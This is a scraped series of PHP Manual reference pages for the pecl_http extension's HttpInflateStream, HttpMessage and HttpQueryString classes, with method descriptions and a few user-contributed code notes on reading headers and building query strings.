Returns deflated data on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
HttpDeflateStream::flush
HttpInflateStream
HttpDeflateStream


The HttpInflateStream class

(No version information available, might only be in SVN)

Class synopsis

HttpInflateStream {
public __construct ([ int $flags = 0 ] )
public HttpInflateStream factory ([ int $flags = 0 [, string $class_name = "HttpInflateStream" ]] )
public string finish ([ string $data ] )
public string flush ([ string $data ] )
public string update ( string $data )
}

Class Members

Constants

Type | Name | Description
int | FLUSH_NONE | no forced flush
int | FLUSH_SYNC | synching flush
int | FLUSH_FULL | full flush

Note:

Flushing usually has no effect on inflate streams.

Examples

Example #1 A HttpInflateStream example

<?php
$stream = new HttpInflateStream;
echo $stream->update($data);
echo $stream->finish();
?>

Table of Contents

  • HttpInflateStream::__construct — HttpInflateStream class constructor
  • HttpInflateStream::factory — HttpInflateStream class factory
  • HttpInflateStream::finish — Finalize inflate stream
  • HttpInflateStream::flush — Flush inflate stream
  • HttpInflateStream::update — Update inflate stream

User Contributed Notes

There are no user contributed notes for this page.
HttpDeflateStream::update
HttpInflateStream::__construct
HTTP


HttpInflateStream class constructor

HttpInflateStream
HttpInflateStream::factory
HttpInflateStream
PHP Manual

HttpInflateStream::__construct

(PECL pecl_http >= 1.0.0)

HttpInflateStream::__construct — HttpInflateStream class constructor

Description

public HttpInflateStream::__construct ([ int $flags = 0 ] )

Creates a new HttpInflateStream object instance.

See the inflate constants table for possible flags.

Parameters

flags

initialization flags

See Also

  • HttpInflateStream::factory() - HttpInflateStream class factory

User Contributed Notes

There are no user contributed notes for this page.
HttpInflateStream
HttpInflateStream::factory
HttpInflateStream


HttpInflateStream class factory

HttpInflateStream::__construct
HttpInflateStream::finish
HttpInflateStream
PHP Manual

HttpInflateStream::factory

(PECL pecl_http >= 1.4.0)

HttpInflateStream::factory — HttpInflateStream class factory

Description

public HttpInflateStream HttpInflateStream::factory ([ int $flags = 0 [, string $class_name = "HttpInflateStream" ]] )

Creates a new HttpInflateStream object instance.

See the inflate constants table for possible flags.

Parameters

flags

initialization flags

class_name

name of a subclass of HttpInflateStream

See Also

  • HttpInflateStream::__construct() - HttpInflateStream class constructor

User Contributed Notes

There are no user contributed notes for this page.
HttpInflateStream::__construct
HttpInflateStream::finish
HttpInflateStream


Finalize inflate stream

HttpInflateStream::factory
HttpInflateStream::flush
HttpInflateStream
PHP Manual

HttpInflateStream::finish

(PECL pecl_http >= 0.21.0)

HttpInflateStream::finish — Finalize inflate stream

Description

public string HttpInflateStream::finish ([ string $data ] )

Finalizes the inflate stream. The inflate stream can be reused after finalizing.

Parameters

data

data to inflate

Return Values

Returns the final part of inflated data.

User Contributed Notes

There are no user contributed notes for this page.
HttpInflateStream::factory
HttpInflateStream::flush
HttpInflateStream


Flush inflate stream

HttpInflateStream::finish
HttpInflateStream::update
HttpInflateStream
PHP Manual

HttpInflateStream::flush

(PECL pecl_http >= 0.21.0)

HttpInflateStream::flush — Flush inflate stream

Description

public string HttpInflateStream::flush ([ string $data ] )

Flushes the inflate stream.

Note:

Flushing usually has no effect on inflate streams.

Parameters

data

more data to inflate

Return Values

Returns some inflated data as string on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
HttpInflateStream::finish
HttpInflateStream::update
HttpInflateStream


Update inflate stream

HttpInflateStream::flush
HttpMessage
HttpInflateStream
PHP Manual

HttpInflateStream::update

(PECL pecl_http >= 0.21.0)

HttpInflateStream::update — Update inflate stream

Description

public string HttpInflateStream::update ( string $data )

Passes more data through the inflate stream.

Parameters

data

data to inflate

Return Values

Returns inflated data on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
HttpInflateStream::flush
HttpMessage
HttpInflateStream


The HttpMessage class

(No version information available, might only be in SVN)

Class synopsis

HttpMessage implements Iterator , Countable , Serializable {
public void addHeaders ( array $headers [, bool $append = false ] )
public __construct ([ string $message ] )
public HttpMessage detach ( void )
static public HttpMessage factory ([ string $raw_message [, string $class_name = "HttpMessage" ]] )
static public HttpMessage fromEnv ( int $message_type [, string $class_name = "HttpMessage" ] )
static public HttpMessage fromString ([ string $raw_message [, string $class_name = "HttpMessage" ]] )
public string getBody ( void )
public string getHeader ( string $header )
public array getHeaders ( void )
public string getHttpVersion ( void )
public HttpMessage getParentMessage ( void )
public string getRequestMethod ( void )
public string getRequestUrl ( void )
public int getResponseCode ( void )
public string getResponseStatus ( void )
public int getType ( void )
public string guessContentType ( string $magic_file [, int $magic_mode = MAGIC_MIME ] )
public void prepend ( HttpMessage $message [, bool $top = true ] )
public HttpMessage reverse ( void )
public bool send ( void )
public void setBody ( string $body )
public void setHeaders ( array $headers )
public bool setHttpVersion ( string $version )
public bool setRequestMethod ( string $method )
public bool setRequestUrl ( string $url )
public bool setResponseCode ( int $code )
public bool setResponseStatus ( string $status )
public void setType ( int $type )
public HttpRequest|HttpResponse toMessageTypeObject ( void )
public string toString ([ bool $include_parent = false ] )
}

Class Members

Properties

Instance Properties
Modifiers | Type | Name | Description
protected | int | type | message type
protected | string | body | message body
protected | float | httpVersion | HTTP protocol version
protected | array | headers | message headers
protected | string | requestMethod | request method name
protected | requestUrl | string | request URL
protected | int | responseCode | response code
protected | string | responseStatus | response status message
protected | HttpMessage | parentMessage | reference to parent message

Note:

None of these default properties can be accessed by reference, array key/index notation nor be used in increment or decrement operations.

Predefined Constants

Type | Name | Description
int | TYPE_NONE | message has is of no specific type
int | TYPE_REQUEST | message is a request style HTTP message
int | TYPE_RESPONSE | message is a response style HTTP message

Table of Contents

  • HttpMessage::addHeaders — Add headers
  • HttpMessage::__construct — HttpMessage constructor
  • HttpMessage::detach — Detach HttpMessage
  • HttpMessage::factory — Create HttpMessage from string
  • HttpMessage::fromEnv — Create HttpMessage from environment
  • HttpMessage::fromString — Create HttpMessage from string
  • HttpMessage::getBody — Get message body
  • HttpMessage::getHeader — Get header
  • HttpMessage::getHeaders — Get message headers
  • HttpMessage::getHttpVersion — Get HTTP version
  • HttpMessage::getParentMessage — Get parent message
  • HttpMessage::getRequestMethod — Get request method
  • HttpMessage::getRequestUrl — Get request URL
  • HttpMessage::getResponseCode — Get response code
  • HttpMessage::getResponseStatus — Get response status
  • HttpMessage::getType — Get message type
  • HttpMessage::guessContentType — Guess content type
  • HttpMessage::prepend — Prepend message(s)
  • HttpMessage::reverse — Reverse message chain
  • HttpMessage::send — Send message
  • HttpMessage::setBody — Set message body
  • HttpMessage::setHeaders — Set headers
  • HttpMessage::setHttpVersion — Set HTTP version
  • HttpMessage::setRequestMethod — Set request method
  • HttpMessage::setRequestUrl — Set request URL
  • HttpMessage::setResponseCode — Set response code
  • HttpMessage::setResponseStatus — Set response status
  • HttpMessage::setType — Set message type
  • HttpMessage::toMessageTypeObject — Create HTTP object regarding message type
  • HttpMessage::toString — Get string representation

User Contributed Notes

There are no user contributed notes for this page.
HttpInflateStream::update
HttpMessage::addHeaders
HTTP


Add headers

HttpMessage
HttpMessage::__construct
HttpMessage
PHP Manual

HttpMessage::addHeaders

(PECL pecl_http >= 0.10.0)

HttpMessage::addHeaders — Add headers

Description

public void HttpMessage::addHeaders ( array $headers [, bool $append = false ] )

Add headers. If append is true, headers with the same name will be separated, else overwritten.

Parameters

headers

associative array containing the additional HTTP headers to add to the messages existing headers

append

if true, and a header with the same name of one to add exists already, this respective header will be converted to an array containing both header values, otherwise it will be overwritten with the new header value

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
HttpMessage
HttpMessage::__construct
HttpMessage


HttpMessage constructor

HttpMessage::addHeaders
HttpMessage::detach
HttpMessage
PHP Manual

HttpMessage::__construct

(PECL pecl_http >= 0.10.0)

HttpMessage::__construct — HttpMessage constructor

Description

public HttpMessage::__construct ([ string $message ] )

Instantiate a new HttpMessage object.

The constructed object will actually represent the last message of the passed string. If there were prior messages, those can be accessed by HttpMessage::getParentMessage().

Parameters

message

a single or several consecutive HTTP messages

Errors/Exceptions

Throws HttpMalformedHeaderException.

User Contributed Notes

There are no user contributed notes for this page.
HttpMessage::addHeaders
HttpMessage::detach
HttpMessage


Detach HttpMessage

HttpMessage::__construct
HttpMessage::factory
HttpMessage
PHP Manual

HttpMessage::detach

(PECL pecl_http >= 0.22.0)

HttpMessage::detach — Detach HttpMessage

Description

public HttpMessage HttpMessage::detach ( void )

Returns a clone of an HttpMessage object detached from any parent messages.

Parameters

Return Values

Returns detached HttpMessage object copy.

User Contributed Notes

There are no user contributed notes for this page.
HttpMessage::__construct
HttpMessage::factory
HttpMessage


Create HttpMessage from string

HttpMessage::detach
HttpMessage::fromEnv
HttpMessage
PHP Manual

HttpMessage::factory

(PECL pecl_http >= 1.4.0)

HttpMessage::factory — Create HttpMessage from string

Description

static public HttpMessage HttpMessage::factory ([ string $raw_message [, string $class_name = "HttpMessage" ]] )

Create an HttpMessage object from a string.

Parameters

raw_message

a single or several consecutive HTTP messages

class_name

a class extending HttpMessage

Return Values

Returns an HttpMessage object on success or NULL on failure.

Errors/Exceptions

Throws HttpMalformedHeadersException.

See Also

  • HttpMessage::fromEnv() - Create HttpMessage from environment.

User Contributed Notes

There are no user contributed notes for this page.
HttpMessage::detach
HttpMessage::fromEnv
HttpMessage


Create HttpMessage from environment

HttpMessage::factory
HttpMessage::fromString
HttpMessage
PHP Manual

HttpMessage::fromEnv

(PECL pecl_http >= 1.5.0)

HttpMessage::fromEnv — Create HttpMessage from environment

Description

static public HttpMessage HttpMessage::fromEnv ( int $message_type [, string $class_name = "HttpMessage" ] )

Create an HttpMessage object from script environment.

Parameters

message_type

The message type. See HttpMessage type constants.

class_name

a class extending HttpMessage

Return Values

Returns an HttpMessage object on success or NULL on failure.

See Also

  • HttpMessage::factory() - Create HttpMessage from string.

User Contributed Notes

There are no user contributed notes for this page.
HttpMessage::factory
HttpMessage::fromString
HttpMessage


Create HttpMessage from string

HttpMessage::fromEnv
HttpMessage::getBody
HttpMessage
PHP Manual

HttpMessage::fromString

(PECL pecl_http 0.10.0-1.3.3)

HttpMessage::fromString — Create HttpMessage from string

Description

static public HttpMessage HttpMessage::fromString ([ string $raw_message [, string $class_name = "HttpMessage" ]] )

Create an HttpMessage object from a string.

This function alias is deprecated and only exists for backwards compatibility reasons. The use of this function is not recommended, as it may be removed from PHP in the future.

Parameters

raw_message

a single or several consecutive HTTP messages

class_name

a class extending HttpMessage

Return Values

Returns an HttpMessage object on success or NULL on failure.

Errors/Exceptions

Throws HttpMalformedHeadersException.

See Also

  • HttpMessage::factory() - Create HttpMessage from string.

User Contributed Notes

There are no user contributed notes for this page.
HttpMessage::fromEnv
HttpMessage::getBody
HttpMessage


Get message body

HttpMessage::fromString
HttpMessage::getHeader
HttpMessage
PHP Manual

HttpMessage::getBody

(PECL pecl_http >= 0.10.0)

HttpMessage::getBody — Get message body

Description

public string HttpMessage::getBody ( void )

Get the body of the parsed HttpMessage.

Return Values

Returns the message body as string.

User Contributed Notes

There are no user contributed notes for this page.
HttpMessage::fromString
HttpMessage::getHeader
HttpMessage


Get header

HttpMessage::getBody
HttpMessage::getHeaders
HttpMessage
PHP Manual

HttpMessage::getHeader

(PECL pecl_http >= 1.1.0)

HttpMessage::getHeader — Get header

Description

public string HttpMessage::getHeader ( string $header )

Get message header.

Parameters

header

header name

Return Values

Returns the header value on success or NULL if the header does not exist.

User Contributed Notes

thiago dot henrique dot mata at gmail dot com 19-Mar-2011 12:31
This can be good to ping external web sites, get the content type, length, etc.
<?php

function get_http_header( $strUrl )
{
    $arrHeader = array();
    $arrHeader[ 'url' ] = $strUrl;
    try
    {
        $arrLines = explode( "\n" , http_head( $strUrl ) );
    }
    catch( Exception $objException )
    {
        return
    array(
        "response" => "timeout" ,
        "url" => $strUrl
    );
    }
    $arrHeader['response'] = array_shift( $arrLines );
    foreach( $arrLines as $strLine )
    {
        $arrLine = explode( ":" , $strLine );
        if( sizeof( $arrLine ) == 2 )
        {
            $arrHeader[ $arrLine[0] ] = $arrLine[1];
        }
    }
    return $arrHeader;
}

print_r( get_http_header( "http://www.example.com" ) );
?>

Array
(
    [url] => http://www.example.com
    [response] => HTTP/1.1 200 OK
    [Server] =>  Microsoft-IIS/5.0
    [X-Powered-By] =>  ASP.NET
    [Content-Type] =>  text/html
    [Accept-Ranges] =>  bytes
    [Content-Length] =>  465
HttpMessage::getBody
HttpMessage::getHeaders
HttpMessage


Get message headers

HttpMessage::getHeader
HttpMessage::getHttpVersion
HttpMessage
PHP Manual

HttpMessage::getHeaders

(PECL pecl_http >= 0.10.0)

HttpMessage::getHeaders — Get message headers

Description

public array HttpMessage::getHeaders ( void )

Get message headers.

Return Values

Returns an associative array containing the messages HTTP headers.

User Contributed Notes

There are no user contributed notes for this page.
HttpMessage::getHeader
HttpMessage::getHttpVersion
HttpMessage


Get HTTP version

HttpMessage::getHeaders
HttpMessage::getParentMessage
HttpMessage
PHP Manual

HttpMessage::getHttpVersion

(PECL pecl_http >= 0.10.0)

HttpMessage::getHttpVersion — Get HTTP version

Description

public string HttpMessage::getHttpVersion ( void )

Get the HTTP Protocol Version of the Message.

Return Values

Returns the HTTP protocol version as string.

User Contributed Notes

There are no user contributed notes for this page.
HttpMessage::getHeaders
HttpMessage::getParentMessage
HttpMessage


Get parent message

HttpMessage::getHttpVersion
HttpMessage::getRequestMethod
HttpMessage
PHP Manual

HttpMessage::getParentMessage

(PECL pecl_http >= 0.10.0)

HttpMessage::getParentMessage — Get parent message

Description

public HttpMessage HttpMessage::getParentMessage ( void )

Get parent Message.

Return Values

Returns the parent HttpMessage object.

Errors/Exceptions

Throws HttpRuntimeException.

User Contributed Notes

There are no user contributed notes for this page.
HttpMessage::getHttpVersion
HttpMessage::getRequestMethod
HttpMessage


Get request method

HttpMessage::getParentMessage
HttpMessage::getRequestUrl
HttpMessage
PHP Manual

HttpMessage::getRequestMethod

(PECL pecl_http >= 0.10.0)

HttpMessage::getRequestMethod — Get request method

Description

public string HttpMessage::getRequestMethod ( void )

Get the Request Method of the Message.

Return Values

Returns the request method name on success, or FALSE if the message is not of type HttpMessage::TYPE_REQUEST.

User Contributed Notes

There are no user contributed notes for this page.
HttpMessage::getParentMessage
HttpMessage::getRequestUrl
HttpMessage


Get request URL

HttpMessage::getRequestMethod
HttpMessage::getResponseCode
HttpMessage
PHP Manual

HttpMessage::getRequestUrl

(PECL pecl_http >= 0.21.0)

HttpMessage::getRequestUrl — Get request URL

Description

public string HttpMessage::getRequestUrl ( void )

Get the Request URL of the Message.

Parameters

Return Values

Returns the request URL as string on success, or FALSE if the message is not of type HttpMessage::TYPE_REQUEST.

User Contributed Notes

There are no user contributed notes for this page.
HttpMessage::getRequestMethod
HttpMessage::getResponseCode
HttpMessage


Get response code

HttpMessage::getRequestUrl
HttpMessage::getResponseStatus
HttpMessage
PHP Manual

HttpMessage::getResponseCode

(PECL pecl_http >= 0.10.0)

HttpMessage::getResponseCode — Get response code

Description

public int HttpMessage::getResponseCode ( void )

Get the Response Code of the Message.

Return Values

Returns the HTTP response code if the message is of type HttpMessage::TYPE_RESPONSE, else FALSE.

User Contributed Notes

There are no user contributed notes for this page.
HttpMessage::getRequestUrl
HttpMessage::getResponseStatus
HttpMessage


Get response status

HttpMessage::getResponseCode
HttpMessage::getType
HttpMessage
PHP Manual

HttpMessage::getResponseStatus

(PECL pecl_http >= 0.23.0)

HttpMessage::getResponseStatus — Get response status

Description

public string HttpMessage::getResponseStatus ( void )

Get the Response Status of the message (i.e. the string following the response code).

Return Values

Returns the HTTP response status string if the message is of type HttpMessage::TYPE_RESPONSE, else FALSE.

User Contributed Notes

There are no user contributed notes for this page.
HttpMessage::getResponseCode
HttpMessage::getType
HttpMessage


Get message type

HttpMessage::getResponseStatus
HttpMessage::guessContentType
HttpMessage
PHP Manual

HttpMessage::getType

(PECL pecl_http >= 0.10.0)

HttpMessage::getType — Get message type

Description

public int HttpMessage::getType ( void )

Get Message Type. Either HTTP_MSG_NONE, HTTP_MSG_REQUEST or HTTP_MSG_RESPONSE.

Return Values

Returns the HttpMessage::TYPE.

User Contributed Notes

There are no user contributed notes for this page.
HttpMessage::getResponseStatus
HttpMessage::guessContentType
HttpMessage


Guess content type

HttpMessage::getType
HttpMessage::prepend
HttpMessage
PHP Manual

HttpMessage::guessContentType

(PECL pecl_http >= 1.0.0)

HttpMessage::guessContentType — Guess content type

Description

public string HttpMessage::guessContentType ( string $magic_file [, int $magic_mode = MAGIC_MIME ] )

Attempts to guess the content type of the message body through libmagic.

Parameters

magic_file

the magic.mime database to use

magic_mode

flags for libmagic

Return Values

Returns the guessed content type on success or FALSE on failure.

Errors/Exceptions

Throws HttpRuntimeException, HttpInvalidParamException.

User Contributed Notes

There are no user contributed notes for this page.
HttpMessage::getType
HttpMessage::prepend
HttpMessage


Prepend message(s)

HttpMessage::guessContentType
HttpMessage::reverse
HttpMessage
PHP Manual

HttpMessage::prepend

(PECL pecl_http >= 0.22.0)

HttpMessage::prepend — Prepend message(s)

Description

public void HttpMessage::prepend ( HttpMessage $message [, bool $top = true ] )

Prepends message(s) to the HTTP message.

Parameters

message

HttpMessage object to prepend

top

whether to prepend to the top most or right this message

Errors/Exceptions

Throws HttpInvalidParamException if the message is located within the same message chain.

User Contributed Notes

There are no user contributed notes for this page.
HttpMessage::guessContentType
HttpMessage::reverse
HttpMessage


Reverse message chain

HttpMessage::prepend
HttpMessage::send
HttpMessage
PHP Manual

HttpMessage::reverse

(PECL pecl_http >= 0.23.0)

HttpMessage::reverse — Reverse message chain

Description

public HttpMessage HttpMessage::reverse ( void )

Reorders the message chain in reverse order.

Return Values

Returns the most parent HttpMessage object.

User Contributed Notes

There are no user contributed notes for this page.
HttpMessage::prepend
HttpMessage::send
HttpMessage


Send message

HttpMessage::reverse
HttpMessage::setBody
HttpMessage
PHP Manual

HttpMessage::send

(PECL pecl_http >= 0.10.0)

HttpMessage::send — Send message

Description

public bool HttpMessage::send ( void )

Send the Message according to its type as Response or Request.

This provides limited functionality compared to HttpRequest and HttpResponse.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
HttpMessage::reverse
HttpMessage::setBody
HttpMessage


Set message body

HttpMessage::send
HttpMessage::setHeaders
HttpMessage
PHP Manual

HttpMessage::setBody

(PECL pecl_http >= 0.14.0)

HttpMessage::setBody — Set message body

Description

public void HttpMessage::setBody ( string $body )

Set the body of the HttpMessage.

Note:

Don't forget to update any headers accordingly.

Parameters

body

the new body of the message

User Contributed Notes

There are no user contributed notes for this page.
HttpMessage::send
HttpMessage::setHeaders
HttpMessage


Set headers

HttpMessage::setBody
HttpMessage::setHttpVersion
HttpMessage
PHP Manual

HttpMessage::setHeaders

(PECL pecl_http >= 0.10.0)

HttpMessage::setHeaders — Set headers

Description

public void HttpMessage::setHeaders ( array $headers )

Sets new headers.

Parameters

headers

associative array containing the new HTTP headers, which will replace all previous HTTP headers of the message

User Contributed Notes

There are no user contributed notes for this page.
HttpMessage::setBody
HttpMessage::setHttpVersion
HttpMessage


Set HTTP version

HttpMessage::setHeaders
HttpMessage::setRequestMethod
HttpMessage
PHP Manual

HttpMessage::setHttpVersion

(PECL pecl_http >= 0.10.0)

HttpMessage::setHttpVersion — Set HTTP version

Description

public bool HttpMessage::setHttpVersion ( string $version )

Set the HTTP Protocol version of the Message.

Parameters

version

the HTTP protocol version

Return Values

Returns TRUE on success, or FALSE if supplied version is out of range (1.0/1.1).

User Contributed Notes

There are no user contributed notes for this page.
HttpMessage::setHeaders
HttpMessage::setRequestMethod
HttpMessage


Set request method

HttpMessage::setHttpVersion
HttpMessage::setRequestUrl
HttpMessage
PHP Manual

HttpMessage::setRequestMethod

(PECL pecl_http >= 0.10.0)

HttpMessage::setRequestMethod — Set request method

Description

public bool HttpMessage::setRequestMethod ( string $method )

Set the Request Method of the HTTP Message.

Parameters

method

the request method name

Return Values

Returns TRUE on success, or FALSE if the message is not of type HttpMessage::TYPE_REQUEST or an invalid request method was supplied.

User Contributed Notes

There are no user contributed notes for this page.
HttpMessage::setHttpVersion
HttpMessage::setRequestUrl
HttpMessage


Set request URL

HttpMessage::setRequestMethod
HttpMessage::setResponseCode
HttpMessage
PHP Manual

HttpMessage::setRequestUrl

(PECL pecl_http >= 0.21.0)

HttpMessage::setRequestUrl — Set request URL

Description

public bool HttpMessage::setRequestUrl ( string $url )

Set the Request URL of the HTTP Message.

Parameters

url

the request URL

Return Values

Returns TRUE on success, or FALSE if the message is not of type HttpMessage::TYPE_REQUEST or supplied URL was empty.

User Contributed Notes

There are no user contributed notes for this page.
HttpMessage::setRequestMethod
HttpMessage::setResponseCode
HttpMessage


Set response code

HttpMessage::setRequestUrl
HttpMessage::setResponseStatus
HttpMessage
PHP Manual

HttpMessage::setResponseCode

(PECL pecl_http >= 0.10.0)

HttpMessage::setResponseCode — Set response code

Description

public bool HttpMessage::setResponseCode ( int $code )

Set the response code of an HTTP Response Message.

Parameters

code

HTTP response code

Return Values

Returns TRUE on success, or FALSE if the message is not of type HttpMessage::TYPE_RESPONSE or the response code is out of range (100-510).

User Contributed Notes

There are no user contributed notes for this page.
HttpMessage::setRequestUrl
HttpMessage::setResponseStatus
HttpMessage


Set response status

HttpMessage::setResponseCode
HttpMessage::setType
HttpMessage
PHP Manual

HttpMessage::setResponseStatus

(PECL pecl_http >= 0.23.0)

HttpMessage::setResponseStatus — Set response status

Description

public bool HttpMessage::setResponseStatus ( string $status )

Set the Response Status of the HTTP message (i.e. the string following the response code).

Parameters

status

the response status text

Return Values

Returns TRUE on success or FALSE if the message is not of type HttpMessage::TYPE_RESPONSE.

User Contributed Notes

There are no user contributed notes for this page.
HttpMessage::setResponseCode
HttpMessage::setType
HttpMessage


Set message type

HttpMessage::setResponseStatus
HttpMessage::toMessageTypeObject
HttpMessage
PHP Manual

HttpMessage::setType

(PECL pecl_http >= 0.10.0)

HttpMessage::setType — Set message type

Description

public void HttpMessage::setType ( int $type )

Set Message Type. Either HTTP_MSG_NONE, HTTP_MSG_REQUEST or HTTP_MSG_RESPONSE.

Parameters

type

the HttpMessage::TYPE_*

User Contributed Notes

There are no user contributed notes for this page.
HttpMessage::setResponseStatus
HttpMessage::toMessageTypeObject
HttpMessage


Create HTTP object regarding message type

HttpMessage::setType
HttpMessage::toString
HttpMessage
PHP Manual

HttpMessage::toMessageTypeObject

(PECL pecl_http >= 0.22.0)

HttpMessage::toMessageTypeObject — Create HTTP object regarding message type

Description

public HttpRequest|HttpResponse HttpMessage::toMessageTypeObject ( void )

Creates an object regarding to the type of the message.

Parameters

Return Values

Returns either an HttpRequest or HttpResponse object on success, or NULL on failure.

Errors/Exceptions

Throws HttpRuntimeException, HttpMessageTypeException, HttpHeaderException.

User Contributed Notes

There are no user contributed notes for this page.
HttpMessage::setType
HttpMessage::toString
HttpMessage


Get string representation

HttpMessage::toMessageTypeObject
HttpQueryString
HttpMessage
PHP Manual

HttpMessage::toString

(PECL pecl_http >= 0.10.0)

HttpMessage::toString — Get string representation

Description

public string HttpMessage::toString ([ bool $include_parent = false ] )

Get the string representation of the Message.

Parameters

include_parent

specifies whether the returned string should also contain any parent messages

Return Values

Returns the message as string.

User Contributed Notes

There are no user contributed notes for this page.
HttpMessage::toMessageTypeObject
HttpQueryString
HttpMessage


The HttpQueryString class

(No version information available, might only be in SVN)

Class synopsis

HttpQueryString implements ArrayAccess , Serializable {
final public __construct ([ bool $global = true [, mixed $add ]] )
public mixed get ([ string $key [, mixed $type = 0 [, mixed $defval = NULL [, bool $delete = false ]]]] )
public HttpQueryString mod ( mixed $params )
public string set ( mixed $params )
static public HttpQueryString singleton ([ bool $global = true ] )
public array toArray ( void )
public string toString ( void )
public bool xlate ( string $ie , string $oe )
}

Class Members

Properties

Instance Properties
Modifiers | Type | Name | Description
private | array | queryArray | query parameters
private | string | queryString | serialized query parameters
Static Properties
Modifiers | Type | Name | Description
private | array | instance | holds singletons

Predefined Constants

Type | Name | Description
int | TYPE_BOOL | retrieve query param as bool
int | TYPE_INT | retrieve query param as int
int | TYPE_FLOAT | retrieve query param as float
int | TYPE_STRING | retrieve query param as string
int | TYPE_ARRAY | retrieve query param as array
int | TYPE_OBJECT | retrieve query param as object

Table of Contents

  • HttpQueryString::__construct — HttpQueryString constructor
  • HttpQueryString::get — Get (part of) query string
  • HttpQueryString::mod — Modifiy query string copy
  • HttpQueryString::set — Set query string params
  • HttpQueryString::singleton — HttpQueryString singleton
  • HttpQueryString::toArray — Get query string as array
  • HttpQueryString::toString — Get query string
  • HttpQueryString::xlate — Change query strings charset

User Contributed Notes

Anonymous 26-Oct-2010 06:20
This may sound obvious but just a reminder: this object only works with parameters submitted via GET method. Variables submitted via POST will not be parsed by this object.
HttpMessage::toString
HttpQueryString::__construct
HTTP


HttpQueryString constructor

HttpQueryString
HttpQueryString::get
HttpQueryString
PHP Manual

HttpQueryString::__construct

(PECL pecl_http >= 0.22.0)

HttpQueryString::__construct — HttpQueryString constructor

Description

final public HttpQueryString::__construct ([ bool $global = true [, mixed $add ]] )

Creates a new HttpQueryString object instance.

Operates on and modifies $_GET and $_SERVER['QUERY_STRING'] if global is TRUE.

Parameters

global

whether to operate on $_GET and $_SERVER['QUERY_STRING']

add

additional/initial query string parameters

Errors/Exceptions

Throws HttpRuntimeException.

User Contributed Notes

michal dot kocarek at brainbox dot cz 11-Jun-2009 07:19
Note about first argument when calling the constructor:
– if true, instance will have initially exactly same query string as PHP received when user accessed the page
– if false, instance will be empty.

<?php
// Imagine that user puts "test.php?name=JamesBond&age=30" into browser, then…

$query = new HttpQueryString(); // query is "name=JamesBond&age=30". (First argument is true by default.)
$query = new HttpQueryString(false); // query is empty
$query = new HttpQueryString(true, 'age=31'); // query is "name=JamesBond&age=31", name was preserved, age was updated
$query = new HttpQueryString(false, 'age=31'); // query is "age=31"
?>

Second argument can be string and associative array, same as for HttpQueryString->set() method.
HttpQueryString
HttpQueryString::get
HttpQueryString


Get (part of) query string

HttpQueryString::__construct
HttpQueryString::mod
HttpQueryString
PHP Manual

HttpQueryString::get

(PECL pecl_http >= 0.22.0)

HttpQueryString::get — Get (part of) query string

Description

public mixed HttpQueryString::get ([ string $key [, mixed $type = 0 [, mixed $defval = NULL [, bool $delete = false ]]]] )

Get (part of) the query string.

The type parameter is either one of the HttpQueryString::TYPE_* constants or a type abbreviation like "b" for bool, "i" for int, "f" for float, "s" for string, "a" for array and "o" for a stdClass object.

Parameters

key

key of the query string param to retrieve

type

which variable type to enforce

defval

default value if key does not exist

delete

whether to remove the key/value pair from the query string

Return Values

Returns the value of the query string param or the whole query string if no key was specified on success or defval if key does not exist.

User Contributed Notes

There are no user contributed notes for this page.
HttpQueryString::__construct
HttpQueryString::mod
HttpQueryString


Modifiy query string copy

HttpQueryString::get
HttpQueryString::set
HttpQueryString
PHP Manual

HttpQueryString::mod

(PECL pecl_http >= 1.1.0)

HttpQueryString::mod — Modifiy query string copy

Description

public HttpQueryString HttpQueryString::mod ( mixed $params )

Copies the query string object and sets provided params at the clone.

Parameters

params

query string params to add

Return Values

Returns a new HttpQueryString object

User Contributed Notes

There are no user contributed notes for this page.
HttpQueryString::get
HttpQueryString::set
HttpQueryString


Set query string params

HttpQueryString::mod
HttpQueryString::singleton
HttpQueryString
PHP Manual

HttpQueryString::set

(PECL pecl_http >= 0.22.0)

HttpQueryString::set — Set query string params

Description

public string HttpQueryString::set ( mixed $params )

Set query string entry/entries. NULL values will unset the variable.

Parameters

params

query string params to add

Return Values

Returns the current query string.

User Contributed Notes

michal dot kocarek at brainbox dot cz 11-Jun-2009 06:55
Function accepts string or associative array in the params argument.

<?php
   $query = new HttpQueryString(false); // query is empty

   $query->set(array('city' => 'Prague', 'age' => 34)); // query is "city=Prague&age=34"
   $query->set('age=20&gender=male'); // query is "city=Prague&age=20&gender=male"
?>

Also please note that variable can be unset *only* by passing NULL value in an associative array.

<?php
$query->set('city='); // query is "city=&age=20&gender=male"
   $query->set(array('city' => null)); // and now "age=20&gender=male" ?>
jerome at rainstormconsulting dot com 04-Feb-2008 08:09
In case anybody reads this and wonders what the params should be, it takes a key=>value array, not sure why it says mixed, or if there's other types you can give it.

<?php
$http = new HttpQueryString();
$http->set(array('page' => 1, 'sort' => 'asc'));
?>

Should produce a query string page?page=1&sort=asc
HttpQueryString::mod
HttpQueryString::singleton
HttpQueryString


HttpQueryString singleton

HttpQueryString::set
HttpQueryString::toArray
HttpQueryString
PHP Manual

HttpQueryString::singleton

(PECL pecl_http >= 0.25.0)

HttpQueryString::singleton — HttpQueryString singleton

Description

static public HttpQueryString HttpQueryString::singleton ([ bool $global = true ] )

Get a single instance (differentiates between the global setting).

Parameters

global

whether to operate on $_GET and $_SERVER['QUERY_STRING']

Return Values

Returns always the same HttpQueryString instance regarding the global setting.

Errors/Exceptions

Throws HttpRuntimeException.

User Contributed Notes

There are no user contributed notes for this page.
HttpQueryString::set
HttpQueryString::toArray
HttpQueryString


Get query string as array

HttpQueryString::singleton
HttpQueryString::toString
HttpQueryString
PHP Manual

HttpQueryString::toArray

(PECL pecl_http >= 0.22.0)

HttpQueryString::toArray — Get query string as array

Description

public array HttpQueryString::toArray ( void )

Get the query string represented as associative array.

Return Values

Returns the array representation of the query string.

User Contributed Notes

There are no user contributed notes for this page.
HttpQueryString::singleton
HttpQueryString::toString
HttpQueryString


Get query string

HttpQueryString::toArray
HttpQueryString::xlate
HttpQueryString
PHP Manual

HttpQueryString::toString

(PECL pecl_http >= 0.22.0)

HttpQueryString::toString — Get query string

Description

public string HttpQueryString::toString ( void )

Get the query string.

Parameters

Return Values

Returns the string representation of the query string.

User Contributed Notes

There are no user contributed notes for this page.
HttpQueryString::toArray
HttpQueryString::xlate
HttpQueryString


Change query strings charset

HttpQueryString::toString
HttpRequest
